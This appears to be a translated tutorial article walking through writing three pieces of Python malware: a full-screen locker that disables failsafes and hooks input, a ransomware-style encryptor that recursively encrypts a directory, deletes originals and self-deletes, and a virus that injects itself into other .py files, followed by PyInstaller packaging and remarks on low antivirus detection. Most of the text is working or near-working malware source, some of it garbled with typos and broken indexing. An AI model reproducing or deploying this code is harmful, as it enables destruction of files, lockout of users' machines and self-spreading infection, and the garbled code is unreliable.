Table of Contents Hide
Why would anyone want to write malware in Python? We will do it in order to learn the general principles of malware development and at the same time you will practice using this language and you will be able to use what you have learned for other purposes. Besides, Python malware can still be found in the wild and not all anti-viruses pay attention to it.
Python is most often used to create backdoors in software to download and execute any code on an infected machine. For example, in 2017 Dr.Web employees detected Python.BackDoor.33, and on May 8, 2019 Mac.BackDoor.Siggen.20 was spotted. Another Trojan – RAT Python stole user data from infected devices and used Telegram as a data transmission channel.
We will create three demonstration programs: a locker that will block access to the computer until the user enters the correct password, an encryptor that will bypass directories and encrypt all the files in them, and a virus that will spread its code by infecting other Python programs.
How to write a locker, cryptographer and virus in Python
Despite the fact that our creations do not claim to be of any high technical level, they can be dangerous under certain conditions. So I warn you that disturbing someone else’s computer and destroying information may be severely penalized. Let’s agree at once: you will launch all that we describe here only on your computer and even carefully – not to encrypt all your disk accidentally.
All information is provided for information purposes only. Neither the author nor the editors are responsible for any possible harm caused by the materials in this article.
Setting up the environment
So, the first thing we need, of course, is Python itself, and version 3. I won’t describe in detail how to install it and send you right away to download the free book “Python Bite” (PDF). In it you will find the answer to this and many other Python-related questions.
In addition, let’s install a few modules that we will use:
pip install pyAesCrypt pip install pyautogui pip install tkinter
At this point we are done with the preparatory stage, we can start writing the code.
Creating a locker
The idea is to create a full screen window and not let the user close it.
pyautogui from tkinter import Tk, Entry, Label from pyautogu coi import click, moveTo from time import sleep
Now let’s get to the main part of the program.
# Create a window root = Tk() # Turn off the protection of the upper left corner of the screen pyautogui.FAILSAFE = False # Get the width and height of the window width = root.winfo_screenwidth() height = root.winfo_screenheight() # Set window title root.title('From "hacker" with love') # Open the window to full screen root.attributes("-fullscreen", True) # Create an input box, set its size and location entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25) # Create text captions and set their location label0 = Label(root, text="╚(-⌂-)╝ Locker by hacker (╯°□°）╯︵ ┻━┻", font=1) label0.grid(row=0, column=0) label1 = Label(root, text="Write password and press Ctrl + C", font='Arial 20') label1.place(x=width/2-75-130, y=height/2-25-100) # Turn on continuous window refresh and pause root.update() sleep(0.2) # Click in the center of the window click(width/2, height/2) # reset the key k = False # Now we continuously check if the correct key is entered # If entered, call the bully function while not k: on_closing()
Here pyautogui.FAILSAFE = False – protection which is activated when the cursor is moved to the upper left corner of the screen. When it is triggered, the program closes. We don’t need it, so we disable this function.
To make our locker work on any monitor with any resolution, we read the width and height of the screen and use a simple formula to calculate where the cursor will hit, click and so on. In our case, the cursor hits the center of the screen, that is, we divide the width and height by two. We will add sleep so that the user can enter the code to cancel the action.
Now we have not blocked text input, but we can do it and then the user will not get rid of us in any way. To do that we will write some more code. I do not recommend doing it right away. First, let’s configure the program so that it will be disabled when entering the password. But the code to lock the keyboard and mouse looks like this
import pythoncom, pyHook hm = pyHook.HookManager() hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages()
Let’s create a function to enter the key:
def callback(event): global k, entry if entry.get() == "hacker": k = True
It’s simple here. If the key is not the one we set, the program keeps working. If the passwords match, we slow down.
The last function that is needed for the pest window to work:
def on_closing(): # Click in the center of the screen click(width/2, height/2) # Move the mouse cursor to the centre of the screen moveTo(width/2, height/2) # Activate full screen mode root.attributes("-fullscreen", True) # In an attempt to close a window using the Task Manager, call on_closing root.protocol("WM_DELETE_WINDOW", on_closing) # Turn on continuous refreshing of the window root.update() # Add a key combination that will close the program root.bind('<Control-KeyPress-c>', callback)
At this point, our improvised locker is ready.
Creating an encryptor
We will write this virus using only one third-party library – pyAesCrypt. The idea is to encrypt all files in the specified directory and all directories below. This is an important restriction that will not break the operating system. Let’s create two files for work – encryptor and decryptor. After work, the executable files will be self-deleted.
First, we ask for the path to the directory to be attacked and the password to encrypt and decrypt it:
direct = input("Write the directory to be attacked: ") password = input("Enter password: ")
Next, we will generate scripts for encryption and decryption. It looks like this:
with open("Crypt.py", "w") as crypt: crypt.write('' program text ''')
Let’s move on to the files we will use as templates. Let’s start with the encoder. We will need two standard libraries:
import os import sys
Write an encryption function (all according to pyAesCrypt manual):
def crypt(file): import pyAesCrypt print('-' * 80) # Set password and buffer size password = "''+str(password)+''" buffer_size = 512*1024 # Calling the encryption function pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") # Deleting the source file os.remove(file)
The script will insert the password instead of str(password).
Important nuances. We will encrypt and decrypt with a buffer, so we get rid of the file size limitation (at least, we reduce the limitation significantly). The os.remove(file) call is needed to remove the original file, as we copy the file and encrypt the copy. We can configure to copy the file instead of removing it.
Now the function that bypasses folders. There is nothing complicated here either.
def walk(dir): # Search all subfolders in the specified folder for name in os.listdir(dir): path = os.path.join(dir, name) # If it's a file, encrypt it if os.path.isfile(path): crypt(path) # If it's a folder, recursively repeat else: walk(path)
At the end we will add two more lines. One to start the traversal and one to self-destruct the program.
Here again, the desired path will be substituted.
Here’s the whole source code.
import os import sys def crypt(file): import pyAesCrypt print('-' * 80) password = "'"+str(password)+"'" buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk('''+str(direct)+'''') print('-' * 80) os.remove(str(sys.argv))
Now the “mirror” file. If we wrote encrypt in the encryptor, then we write decrypt in the decryptor. There is no sense to repeat the parsing of the same lines, so at once the final variant.
import os import sys # Decryption function def decrypt(file): import pyAesCrypt print('-' * 80) password = "''+str(password)+''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)), password, buffer_size) print("[Decrypt] '" + str(os.path.splitext(file)) + "'") os.remove(file) # Directory traversal def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk('''+str(direct)+'''') print('-' * 80) os.remove(str(sys.argv))
The total number of lines is 29, of which three were used for decryption. In case one of the files suddenly turns out to be corrupted and an error occurs, we use exception catching (try…except). That is, if we fail to decrypt a file, we simply skip it.
Creating a virus
The idea here is to create a program that will infect other programs with the specified extension. Unlike real viruses which infect any executable file, ours will only infect other Python programs.
This time we don’t need any third-party libraries, we need only sys and os modules. Plug them in.
import sys import os
Let’s create three functions: message, parser and infection.
A function that reports an attack:
def code(): print("Infected")
Let’s call it right away to know that the program has worked:
Directory traversal is similar to what we did in Encryptor.
def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) # If a file is found, check its extension if os.path.isfile(path): # If the extension is py, call virus if (os.path.splitext(path) == ".py"): virus(path) else: pass else: # If it's a directory, go into it walk(path)
In theory, we could poison the source code in other languages in the same way, adding code in those languages to the files with the appropriate extensions. And on Unix-like systems, scripts in Bash, Ruby, Perl and the like can simply be replaced by Python scripts, fixing the path to the interpreter on the first line.
The virus will infect files “down” from the directory where it is located (we get the path by calling os.getcwd()).
At the beginning and at the end of the file write these comments:
# START # # STOP #
I’ll explain why later.
Next is the function that is responsible for self-replication.
def virus(python): begin = "# START #\n" end = "# STOP #\n" # Read the file to be attacked, let's call it copy with open(sys.argv, "r") as copy: # Creating a flag k = 0 # Create a variable for the virus code and add an empty string virus_code = "\n" # Go through the infected file line by line for lines in copy: # If we find the start marker, raise the flag if line == begin: k = 1 # Adding a token to the infected code virus_code += begin # If we got past the beginning but didn't get to the end, copy the line elif k == 1 and line != end: virus_code += line # If you reach the end, add a final marker and exit the loop elif line == end: virus_code += end break else: pass # Read the infected file again with open(python, "r") as file: # Create a variable for the source code original_code = "" # Copy the infected code line by line for lines in file: original_code += line # If we find a virus start marker, stop and raise the vir flag if line == begin: vir = True break # If there is no marker, lower the vir flag else: vir = False # If the vir flag is omitted, write virus and source code to the file if not vir: with open(python, "w") as paste: paste.write(virus_code + "\n\n" + original_code) else: pass
Now I think it is clearer why we need “start” and “stop” labels. They mark the beginning and the end of the virus code. First we read the file and go through it line by line. When we hit the start mark, we raise the flag. We add an empty line so that the virus in the source code starts on a new line. We read the file a second time and write the source code line by line. The last step is to write the virus, two indents and the original code. You can make fun of it and write it in some special way, for example, modify all output lines.
Creating an executable file
How to run a virus written in scripting language on the victim machine? There are two ways: either make sure the interpreter is installed, or pack the encryptor we created together with everything we need into a single executable file. This is what the PyInstaller utility does. Here is how to use it.
pip install PyInstaller
And enter the command
PyInstaller "file_name.py" --onefile --noconsole
Wait a bit, and we have a bunch of files in the folder with the program. You can safely get rid of everything except for the executables, they will be in the dist folder.
It is said that ever since Python malware started appearing, antiviruses have become extremely nervous about PyInstaller, even if it is attached to a perfectly safe program.
I decided to check what VirusTotal had to say about my creations. Here are the reports:
- Crypt.exe file was disliked by 12 antiviruses out of 72;
- Locker.exe file – 10 antiviruses out of 72;
- Virus.exe file – 23 out of 72.
Also you can read about How to use VirusTotal API with python
Virus.exe showed the worst result – either some anti-viruses paid attention to self-replication or simply did not like the name of the file. But as you can see, not all anti-viruses were alerted to the contents of any of these files.
So we wrote three malicious programs: a locker, an encryptor, and a virus, using a scripting language, and packaged them using PyInstaller.
Of course, our virus is not the scariest in the world, and the locker and the encryptor still need to be delivered to the victim machine somehow. That said, none of our programs communicate with the C&C server and I haven’t obfuscated the code at all.
Nevertheless, antivirus detection rates were surprisingly low. It turns out that even the simplest encryption virus can become a threat. So anti-viruses are anti-viruses, but downloading random programs from the Internet and running them without thinking will always be unsafe.